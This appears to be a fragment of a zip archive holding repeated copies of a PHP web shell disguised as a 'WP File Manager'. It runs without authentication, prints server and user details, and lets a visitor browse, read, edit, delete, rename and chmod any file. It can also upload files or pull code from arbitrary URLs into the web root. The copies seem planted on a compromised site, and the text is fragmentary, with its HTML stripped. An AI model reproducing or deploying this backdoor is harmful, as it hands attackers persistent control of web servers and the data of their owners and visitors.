'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@checkmytherapy.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@checkmytherapy.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
